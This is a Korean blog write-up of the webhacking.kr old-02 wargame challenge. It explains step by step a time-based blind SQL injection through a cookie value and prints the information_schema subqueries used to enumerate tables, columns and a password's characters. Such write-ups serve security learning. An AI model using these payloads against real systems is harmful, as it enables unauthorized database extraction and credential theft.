본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-02

 

< 문제 >

 

https://webhacking.kr/challenge/web-02/

 

https://webhacking.kr/challenge/web-02/

 

webhacking.kr

 

< 풀이 >

 

그림 1

 

그림 1의 admin.php 페이지에는 password를 입력하는 입력 폼이 존재한다. 어떠한 에러 정보도 없고, sql injection도 소용이 없다. 

 

그림 2

 

cookie 값을 이용해, blind sql injection을 시도해 보았다. 그림 2는 참값을 그림 3은 거짓 값을 대입하니, time 값에 따라 페이지의 반응이 달랐다. 그러므로, 해당 공격을 통해 문제를 해결해 나간다. 

 

그림 3

 

아래 그림 4와 같이, 코드를 쿠키 값에 주입하여, 해당 데이터베이스 안에, 몇 개의 테이블이 존재하는지 살펴본다. 

 

 

그림 4

 

(select count(table_name) from information_schema.tables where table_schema = database())

information_schema.tables :  시스템 테이블 제외한 모든 테이블 추출한다. < 테이블 이름: table_name >
database() : 함수는 현재 데이터베이스 이름을 돌려주는 함수이다. 
table_schema = database() : 현재 데이터베이스 내부의 테이블 이름에 한정 시킨다.

 

테이블의 갯수를 알았으니, 테이블 이름 길이를 알아내 본다.

 

그림 5

(select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)

 

그림 5는 첫번 째 테이블의 길이를 추출하고 있다. time 값의 변화로, 길이는 13 인 것을 확인할 수 있다.  마찬가지로, 두 번째 테이블 길이가 3 인 것을 확인하였다. 

 

테이블의 길이를 알아냈으니, 테이블 이름을 추출해본다. 2번째 테이블의 길이는 매우 짧으므로, 그림 6과 같이, 하나씩 대입해도, 시간이 오래 걸리진 않는다. 

 

그림 6

(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1)

(select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema=database() limit 1,1)

(select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema=database() limit 1,1)

 

 

첫 번째 테이블의 이름을 추출해 보자. 사실 13자리도, 그다지 많지 않아서 하나씩 대입해 줘도, 무방하다. ( 물론 자동화 스크립트를 사용하면 좋다 )   첫 번째 테이블의 이름은 admin_area_pw이다. 

 

해당 테이블의 칼럼 수를 구해본다. 코드는 아래와 같다. 

 

(select count(column_name) from information_schema.columns where table_name = "admin_area_pw")

 

컬럼 개수는 다행히 한 개다. 아래의 코드로, 칼럼의 길이를 구해본다. 

 

(select length(column_name) from information_schema.columns where table_name="admin_area_pw")

 

아래 그림 7은 해당 컬럼의 이름을 구하는 과정이며, 그 코드는 아래와 같다. 

 

그림 7

(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw")

 

컬럼 이름은 pw이다. 그림 8에서 pw 칼럼의 레코드 값의 길이를 구해본다. 

 

그림 8

 

그림 8과 같이 레코드 값의 길이는 17이다. 이제, 레코드 값을 출력해본다. 

 

그림 9

 

substr() 함수를 이용해 17번을 대입하면, kudos_to_***** 을 획득 할 수 있다. 

 

그림 10

 

 

한 줄 평 : 파이썬 자동화 스크립트가 시급하다..